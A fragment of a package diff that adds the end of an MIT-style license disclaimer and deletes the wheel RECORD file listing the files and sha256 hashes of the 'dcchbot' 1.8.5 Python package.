+ THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
@@ -1,9 +0,0 @@
1
- dcchbot/__init__.py,sha256=zp5WAMYJ8lMGsJsMRvHCjvTXVR426Satbz_orCtk990,105
2
- dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
3
- dcchbot/main.py,sha256=sHfm6lwIRVUAGl90jrkdcqFYARbdG1YC14fJrK94xT8,16771
4
- dcchbot-1.8.5.dist-info/licenses/LICENSE,sha256=l3hyIOCB7NYorC-bjV5yZM0PgAJbMgAWNLE644dR7H4,1065
5
- dcchbot-1.8.5.dist-info/METADATA,sha256=c5d15Nku2bL_deeqx-yuRn0IzLGDS0ykBy7_5i7uIt0,446
6
- dcchbot-1.8.5.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
7
- dcchbot-1.8.5.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
8
- dcchbot-1.8.5.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
9
- dcchbot-1.8.5.dist-info/RECORD,,